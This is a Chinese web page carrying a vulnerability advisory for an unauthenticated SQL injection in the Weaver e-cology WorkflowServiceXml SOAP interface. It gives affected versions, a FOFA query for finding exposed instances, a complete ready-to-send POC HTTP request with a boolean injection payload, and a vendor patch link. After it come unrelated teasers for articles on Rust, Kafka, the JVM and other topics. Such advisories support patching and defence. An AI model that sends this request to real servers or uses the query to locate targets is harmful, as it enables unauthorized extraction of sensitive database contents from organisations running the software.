当前位置： 首页 > news >正文

泛微e-cology WorkflowServiceXml SQL注入漏洞(POC)

news 2026/4/1 8:38:05

漏洞描述：
泛微 e-cology 是泛微公司开发的协同管理应用平台。泛微 e-cology v10.64.1的/services/接口默认对内网暴露，用于服务调用，未经身份认证的攻击者可向 /services/WorkflowServiceXml 接口发送恶意的SOAP请求进行SQL注入，攻击者通过漏洞可以获取服务器数据库敏感信息。

漏洞发现时间：

2024-7-12


影响版本：
e-cology9 < 10.64.1

FOFA语法：

app="泛微-OA（e-cology）"

POC：

POST /services/WorkflowServiceXml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: text/xml
Accept-Encoding: gzip
Content-Length: 487<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver"> <soapenv:Header/><soapenv:Body><web:getHendledWorkflowRequestList><web:in0>1</web:in0><web:in1>1</web:in1><web:in2>1</web:in2><web:in3>1</web:in3><web:in4><web:string>1=1 AND 5615=5615</web:string></web:in4></web:getHendledWorkflowRequestList></soapenv:Body>
</soapenv:Envelope>

漏洞复现：


修复：

目前官方已有可更新版本，建议受影响用户升级至最新版本：

https://www.weaver.com.cn/cs/securityDownload.html

参考文献：

OSCS | 开源软件供应链安全社区 | 让每一个开源项目变得更安全

POC/泛微OA-E-Cology接口WorkflowServiceXml存在SQL注入漏洞.md at main · wy876/POC · GitHub

相关文章：

泛微e-cology WorkflowServiceXml SQL注入漏洞(POC)

漏洞描述&#xff1a; 泛微 e-cology 是泛微公司开发的协同管理应用平台。泛微 e-cology v10.64.1的/services/接口默认对内网暴露&#xff0c;用于服务调用&#xff0c;未经身份认证的攻击者可向 /services/WorkflowServiceXml 接口发送恶意的SOAP请求进行SQL注入&#xff0c;…...

编程日记 2024/7/17 23:59:54

＜Rust＞＜GUI＞rust语言GUI库tauri体验：前、后端结合创建一个窗口并修改其样式

前言 本文是rust语言下的GUI库&#xff1a;tauri来创建一个窗口的简单演示&#xff0c;主要说明一下&#xff0c;使用tauri这个库如何创建GUI以及如何添加部件、如何编写逻辑、如何修改风格等&#xff0c;所以&#xff0c;这也是一个专栏&#xff0c;将包括tauri库的多个方面。…...

编程日记 2024/7/17 23:58:53

OBD诊断（ISO15031） 09服务

文章目录 功能简介ISO 9141-2、ISO 14230-4和SAE J1850的诊断服务定义1、请求车辆信息请求消息&#xff08;读取支持的INFOTYPE&#xff09;2、请求车辆信息响应消息(报告支持INFOTYPE)3、请求车辆信息请求消息&#xff08;读取INFOTYPE值&#xff09;4、请求车辆信息响应消息&…...

编程日记 2024/7/17 23:56:45

客户端与服务端之间的通信连接

目录 那什么是Socket? 什么是ServerSocket? 代码展示&#xff1a; 代码解析&#xff1a; 补充&#xff1a; 输入流&#xff08;InputStream&#xff09;&#xff1a; 输出流&#xff08;OutputStream&#xff09;&#xff1a; BufferedReader 是如何提高读取效率的&a…...

编程日记 2024/7/17 23:55:44

Font Awesome 图表图标

Font Awesome 图表图标 Font Awesome 是一个广泛使用的图标库&#xff0c;它提供了大量的图标&#xff0c;可以轻松地用于网页设计和开发中。在本文中&#xff0c;我们将重点介绍 Font Awesome 中的图表图标&#xff0c;探讨它们的特点、使用方法&#xff0c;并展示一些实际的…...

编程日记 2024/7/17 23:50:39

React Native 自定义 Hook 获取组件位置和大小

在 React Native 中自定义 Hook useLayout 获取 View、Pressable 等组件的位置和大小的信息 import {useState, useCallback} from react import {LayoutChangeEvent, LayoutRectangle} from react-nativeexport function useLayout() {const [layout, setLayout] useState&l…...

编程日记 2024/7/17 23:48:38

如何在SpringCloud中使用Kafka Streams实现实时数据处理

使用Kafka Streams在Spring Cloud中实现实时数据处理可以帮助我们构建可扩展、高性能的实时数据处理应用。Kafka Streams是一个基于Kafka的流处理库&#xff0c;它可以用来处理流式数据&#xff0c;进行流式计算和转换操作。 下面将介绍如何在Spring Cloud中使用Kafka Streams实…...

编程日记 2024/7/17 23:43:34

InterSystems IRIS使用python pyodbc连接 windows环境,odbc驱动安装，DSN配置，数据源配置

一、创建的数据库和数据 SELECT 1SELECT $ZVERSIONCREATE TABLE MyApp.Person ( ID INT PRIMARY KEY, Name VARCHAR(100) NOT NULL, Age INT, Gender CHAR(1) );CREATE TABLE MyApp.Person2 ( ID INT PRIMARY KEY, Name VARCHAR(100) NOT NULL, Age INT, Gender CHA…...

编程日记 2024/7/17 23:41:32

JVM：运行时数据区

文章目录 一、总览二、程序计数器1、介绍2、程序计数器在运行中会出现内存溢出吗&#xff1f; 三、栈1、介绍2、栈帧的组成部分&#xff08;1&#xff09;局部变量表&#xff08;2&#xff09;操作数栈&#xff08;3&#xff09;帧数据&#xff08;3&#xff09;栈内存溢出&…...

编程日记 2024/7/17 23:39:30

spring-boot2.x整合Kafka步骤

1.pom依赖添加 <properties><java.version>1.8</java.version><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding><maven.compiler.source>1.8</maven.compiler.source><maven.compiler.target>1.8</ma…...

编程日记 2024/7/17 23:37:28

信创学习笔记(四),信创之数据库DB思维导图

创作不易 只因热爱!! 热衷分享&#xff0c;一起成长! “你的鼓励就是我努力付出的动力” 一. 信创学习回顾 1.信创内容 信创内容思维导图 2.信创之CPU芯片架构 信创之CPU芯片架构思维导图 3.信创之操作系统OS 信创之操作系统OS思维导图 二. 信创之国产数据库DB思维导图 …...

编程日记 2024/7/17 23:35:27

SCP 使用教程

SCP&#xff08;Secure Copy Protocol&#xff09;是一种通过加密的方式在本地主机和远程主机之间安全地传输文件的协议。它是基于SSH协议的扩展&#xff0c;允许用户在不同主机之间进行文件复制和传输&#xff0c;是Linux和Unix系统中常用的工具之一。本教程将详细介绍SCP的基…...

编程日记 2024/7/17 23:33:26

python自动化之用flask校验接口token(把token作为参数）

用到的库&#xff1a;flask 实现效果: 写一个接口&#xff0c;需要token正确才能登录 代码&#xff1a; # 导包 from flask import Flask,request,jsonify,json # 创建一个服务 appFlask(__name__) # post请求&#xff0c;路径&#xff1a;/query app.route(/query, met…...

编程日记 2024/7/17 23:30:24

旗晟巡检机器人的应用场景有哪些？

巡检机器人作为现代科技的杰出成果&#xff0c;已广泛应用于各个关键场景。从危险的工业现场到至关重要的基础设施&#xff0c;它们的身影无处不在。它们以精准、高效、不知疲倦的特性&#xff0c;担当起保障生产、守护安全的重任&#xff0c;为行业发展注入新的活力。那么&…...

编程日记 2024/7/17 23:28:22

vue2迁移到vue3注意点

vue2迁移到vue3注意点 1、插槽的修改 使用 #default &#xff0c; 以及加上template 模板 2、 类型的定义&#xff0c;以及路由&#xff0c;vue相关资源&#xff08;ref, reactive,watch&#xff09;的引入等 3、类装饰器 1&#xff09;vue-class-component是vue官方库,作…...

编程日记 2024/7/17 23:26:20

使用windows批量解压和布局ImageNet ISLVRC2012数据集

使用的系统是windows&#xff0c;找到的解压命令很多都linux系统中的&#xff0c;为了能在windows系统下使用&#xff0c;因此下载Git这个软件&#xff0c;在其中的Git Bash中使用以下命令&#xff0c;因为Git Bash集成了很多linux的命令&#xff0c;方便我们的使用。 ImageNe…...

编程日记 2024/7/17 23:25:19

css实现每个小盒子占32%，超出就换行

代码 <div class"visitors"><visitor class"item" v-for"(user,index) in userArr" :key"user.id" :user"user" :index"index"></visitor></div><style lang"scss" scoped&…...

编程日记 2024/7/17 23:23:16

C++的链接指示extern “C“

目录 链接指示extern "C"A.What&#xff08;概念&#xff09;B.Why&#xff08;extern "C"的作用&#xff09;C.How &#xff08;如何使用链接指示extern "C"&#xff09; 链接指示extern “C” A.What&#xff08;概念&#xff09; extern&quo…...

编程日记 2024/7/17 23:20:14

私域运营 组织架构

**揭秘私域社群运营的神秘面纱&#xff1a;角色与职能一网打尽&#xff01;** 在私域社群运营的大舞台上&#xff0c;每个角色都扮演着不可或缺的重要角色。今天&#xff0c;就让我们一起揭开这个神秘世界的面纱&#xff0c;看看这些角色们是如何协同作战&#xff0c;共同创造…...

编程日记 2024/7/17 23:17:11

Netty HTTP

Netty 是一个高性能的异步事件驱动的网络应用程序框架&#xff0c;支持快速开发可维护的高性能协议服务器和客户端。它广泛应用于开发网络应用程序&#xff0c;如服务器和客户端协议的实现。Netty 提供了对多种传输类型的抽象&#xff0c;如 TCP/IP 和 UDP/IP 等&#xff0c;使…...

编程日记 2024/7/17 23:15:09

【等保三级Java安全加固实战指南】：20年专家亲授7大高危漏洞修复清单与合规落地路径

第一章&#xff1a;等保三级Java安全加固的合规基线与实施全景图等保三级对Java应用系统提出了覆盖身份鉴别、访问控制、安全审计、通信保密性、代码安全及运行环境防护等多维度强制性要求。其合规基线并非单一技术点的叠加&#xff0c;而是以《GB/T 22239-2019 信息安全技术 网…...

编程新知 2026/4/1 7:02:41

【建议收藏】彻底剥离“机器味”：2026硬核横评10款降AI神器，实录97.98%极限降至7.46%

现在的知网、维普AIGC检测已经不同往日了&#xff0c;哪怕你逐字手打&#xff0c;只要句式稍显机械&#xff0c;系统就会判定疑似AI生成。很多同学为了降低ai率&#xff0c;把论文改成了毫无逻辑的口水话&#xff0c;结果AI率反而炸了。 别再盲目试错&#xff0c;为了帮大家在…...

编程新知 2026/4/1 6:13:23

PHP+MySQL图书管理系统实战：从环境搭建到功能实现的保姆级教程（附完整源码）

PHPMySQL图书管理系统实战&#xff1a;从零构建企业级应用 1. 环境配置与项目初始化 在开始构建图书管理系统之前&#xff0c;我们需要搭建一个稳定的开发环境。不同于传统的独立安装方式&#xff0c;我将推荐使用Docker容器化方案&#xff0c;这能确保开发环境的一致性并避免&…...

编程新知 2026/4/1 5:57:16

Wan2.2-T2V-A5B实战：GitHub版本管理下的团队协作开发流程

Wan2.2-T2V-A5B实战&#xff1a;GitHub版本管理下的团队协作开发流程 你是不是也遇到过这样的场景&#xff1f;团队几个人一起开发一个基于Wan2.2-T2V-A5B的应用项目&#xff0c;代码改来改去&#xff0c;最后谁改了哪部分、为什么改、线上版本和本地版本哪个更新&#xff0c;…...

编程新知 2026/4/1 5:35:01

从原理到实战：PID位置式、增量式与串级PID的嵌入式实现与调参指南

1. PID控制算法基础&#xff1a;从生活场景理解控制原理 想象一下你正在用淋浴洗澡&#xff0c;发现水温太烫时的自然反应&#xff1a;首先会快速把阀门往冷水方向调&#xff08;比例控制&#xff09;&#xff0c;如果水温还是偏高&#xff0c;你会持续微调阀门&#xff08;积分…...

编程新知 2026/4/1 5:04:47

电子工程师职业发展：技术深度与行业视野的平衡

1. 电子工程师的职业困境与突破路径作为一名在电子行业摸爬滚打十余年的老兵&#xff0c;我见过太多才华横溢的同行最终陷入职业瓶颈。有趣的是&#xff0c;阻碍我们发展的往往不是技术本身&#xff0c;而是那些容易被忽视的"软性因素"。记得刚入行时&#xff0c;我也…...

编程新知 2026/4/1 4:30:06

HiOmics平台：零代码实现ChIP-Seq数据可视化与深度解析

1. 为什么科研人员需要零代码ChIP-Seq分析工具 做表观遗传学研究的朋友们应该都深有体会&#xff0c;ChIP-Seq数据分析就像一场马拉松——从原始数据清洗、序列比对、peak calling到功能注释&#xff0c;每个环节都需要不同的工具和脚本。我刚开始接触这个领域时&#xff0c;光…...

编程新知 2026/4/1 4:19:53

从 OpenClaw 到 ToClaw：AI 代理网关的产品化之路

定位说明&#xff1a;这是一篇偏“体验与选型思路”的横测笔记&#xff0c;不是参数党跑分&#xff0c;也不是安装教程。内容基于我对产品定位与常见使用路径的理解&#xff0c;公测策略与功能细节可能会随版本变化。 01&#xff5c;OpenClaw 是什么&#xff1f;能做什么&#…...

编程新知 2026/4/1 2:44:24

独立站页面结构优化的注意事项是什么_独立站 SEO 与品牌建设的关系是什么

独立站页面结构优化的注意事项是什么 在当今的数字化时代&#xff0c;独立站&#xff08;独立网站&#xff09;已经成为个人品牌和企业展示自我、推广产品和服务的重要平台。单凭一个美观的独立站&#xff0c;难以在竞争激烈的网络环境中脱颖而出。因此&#xff0c;独立站页面…...

编程新知 2026/4/1 1:45:47

提示工程代码审查避坑指南：10个容易犯的低级错误

提示工程代码审查避坑指南&#xff1a;10个容易犯的低级错误 引言&#xff1a;为什么提示工程需要“代码审查”&#xff1f; 在AI时代&#xff0c;提示词&#xff08;Prompt&#xff09;是人类与大语言模型&#xff08;LLM&#xff09;沟通的“桥梁”。就像程序员写代码需要评审…...

编程新知 2026/4/1 1:37:42